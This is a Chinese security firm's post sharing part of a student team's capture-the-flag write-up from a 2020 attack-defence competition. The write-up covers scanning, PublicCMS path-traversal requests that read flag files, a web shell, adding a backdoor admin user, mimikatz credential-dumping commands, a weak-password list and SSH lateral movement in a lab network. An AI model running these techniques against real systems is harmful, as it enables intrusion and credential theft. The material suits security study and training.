2020年12月27日,锦行科技携手华南农业大学数学与信息学院、软件学院顺利举办了“锦行杯”大学生网络安全攻防对抗实战。(传送带——实战练兵 | “锦行杯”大学生网络安全攻防对抗实战(华南农业大学专场)圆满落幕)比赛虽然已经结束,但是“锦行杯”作为网络靶场演习的意义仍在延续。
本期我们邀请了近期在锦行杯比赛(华农场)获得一等奖的参赛队伍XCAU战队 (不想和队友一队 战队)与我们分享了他在锦行杯比赛中的攻击思路。
"锦行杯"比赛 Writeup
01 明确目标
获取主机上所有的flag,一台主机只有一个flag
初始切入点为网站:
可能需要操作:getshell,内网渗透,域渗透,路由转发
可能存在的系统类型:服务器系统,数据库系统,内网客户端(办公机)
02 信息收集
进入网站,浏览网站,收集信息网址:
最终主机:coreDB
后台:admin admin :
操作系统:Windows Server 2012 R2(amd64)
CMS:public cms
版本:V4.0.20180210
语言:java
网站目录:C:\Program Files\Java\jdk1.8.0_261\bin
(1)使用diresearch扫描网站目录
python dirsearch.py -e java -u
[13:17:11]200-898B- /admin/login
[13:17:11]200-898B- /admin/login.java
[13:17:12]200-898B- /admin/login.asp
[13:17:12]200-898B- /admin/login.do
[13:17:12]200-898B- /admin/login.htm
[13:17:12]200-898B- /admin/login.html
[13:17:12]200-898B- /admin/login.jsp
[13:17:12]200-898B- /admin/login.php
[13:17:12]200-898B- /admin/login.py
[13:17:12]200-898B- /admin/login.rb
[13:17:14]200-29B- /api
[13:17:14]200-29B- /api/error_log
[13:17:14]200-29B- /api/swagger.yml
[13:17:14]200-29B- /api/
[13:17:14] 302 -0B - /admin/admin/login -> /admin/login.html?
returnUrl=%2Fadmin%2Fadmin%2Flogin
[13:17:18] 302 -0B- /docs->/docs/
[13:17:18] 200 -15KB - /docs/
[13:17:19] 302 -0B- /examples->/examples/
[13:17:19] 200 -1KB - /examples/
[13:17:19] 200 -757B- /examples/servlets/servlet/CookieExample
[13:17:19] 200 -1KB - /examples/servlets/servlet/RequestHeaderExample
[13:17:19] 200 -4KB - /favicon.ico
[13:17:19] 200 -6KB - /examples/servlets/index.html
(2)使用nmap主机发现
nmap -sL 网段
Nmap scan report for 192.168.100.1 Host is up (0.0012s latency).
Not shown: 999 closed ports PORT STATE SERVICE
22/tcp filtered ssh
Nmap scan report for 192.168.100.2 Host is up (0.00073s latency).
Not shown: 987 closed ports PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
Nmap scan report for 192.168.100.3 Host is up (0.0018s latency).
All 1000 scanned ports on 192.168.100.3 are filtered
……
-sL #列表扫描--简单地列出要扫描的目标
nmap -sL 192.168.100.0/24
-sn #ping扫描--不对端口扫描
nmap -sn 192.168.100.0/24
-Pn #将所有主机视为在线--跳过主机发现
nmap -Pn 192.168.100.0/24
-PS/PA/PU/PY #通过SYN/ACK/UDP/SCTP探测确认端口号
nmap-PS 192.168.100.0/24
nmap-PA 192.168.100.0/24
nmap-PU 192.168.100.0/24
nmap-PY 192.168.100.0/24
-PO #使用IP协议ping
nmap -Pn 192.168.100.0/24
-sV #版本检测(sV)
nmap -sV -p- 192.168.52.143
-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口
03 网站getshell
当前网站渗透应该考的是信息搜索能力
使用google输入关键字:“public cms getshell” “public cms 漏洞” 等查找相关文章
在国家信息安全漏洞库里面查找publiccms的漏洞: ylist.tag
在exploit-db网站查找相关漏洞:
(1)PublicCMS 路径遍历漏洞
参考网址:
通过发送get请求:/admin/cmsWebFile/list.html?path=/ 可以查看当前系统目录
通过发送get请求:/admin/cmsTemplate/content.html?path=//flag.txt 可查看文件内容
构 建 请 求 :
/content.html?path=//fl ag.txt 读取第一个flag拿一血
(2)PublicCMS getshell漏洞
参考网址:
用户可以通过在压缩文件中构造包含有特定文件名称的压缩文件。
在public cms进行解压后,会导致跨目录任意写入文件漏洞的攻击。进而有可能被Getshell,远程控制
04 内网渗透
利用蚁剑连接一句话木马
切换到终端模式
whoami #查看当前有效用户名
netstat -an | find "3389" #查看远程登录端口是否开启net user yyj yyj /add #尝试添加用户
net localgroup administrators test /add net user test #查看test用户信息
凭据导出:
凭据可以理解为目标机的账号,密码。导出目标机凭据后,我们可以使用凭据实现横向移动(利用hash 传递,smb/rdp爆破等等手法)来扩大我们的战果。
(1)hashdump读取内存密码
利用远程登录上传mimitakz使用debug进行明文抓取运行目标机:mimitakz.exe
目标机输入:privilege::debug 进行权限提升
目标机输入:sekurlsa::logonPasswords 进行明文抓取得到明文密码
得到账号密码为:Administrator :MY2020jxsec@123
(2)通过查看目标主机文件发现提示信息
提示了2个可继续深入的内网IP
因为没有做好记录工作这里自定义IP
主机(1)10.0.0.2
主机(2)10.0.1.3
利用nmap扫描上面2个IP发现开放了22端口,可以ssh连接
使用nmap扫描目标主机操作系统
尝试mobaxterm远程ssh连接两台主机,使用内存读取的账号密码 Administrator :MY2020jxsec@123 尝试登录两台主机,主机(1)登录成功
查看主机(1)根目录 以下的public或者temp文件夹 发现flag(2)
猜测主机(2)发现是Linux系统
(3)弱密码登录
猜测此题考点为弱密码登录
尝试手动输入几个弱密码登录root用户
masquerade 4444
456123
abc123. live 0123456789
147852369
zxcasd 123
1234
12345
123456
password 1
111111
123456789
使用password登录root用户成功
查看主机(1)根目录 以下的public或者temp文件夹
发现flag(3)
对主机(1)输入history命令查看历史命令
发现有使用ssh远程登录新的主机(3)
尝试使用ssh连接主机(3),连接成功
查看根目录及其下的文件夹发现flag(4)
对主机(2)输入history命令查看历史命令
发现有使用ssh远程登录新的主机(4)
尝试使用ssh连接主机(4),连接成功
查看根目录及其下的文件夹发现flag(5)
……
因篇长受限,故只展示部分Writeup。完整Writeup请关注“锦行信息安全”后台回复“锦行杯Writeup”即可领取。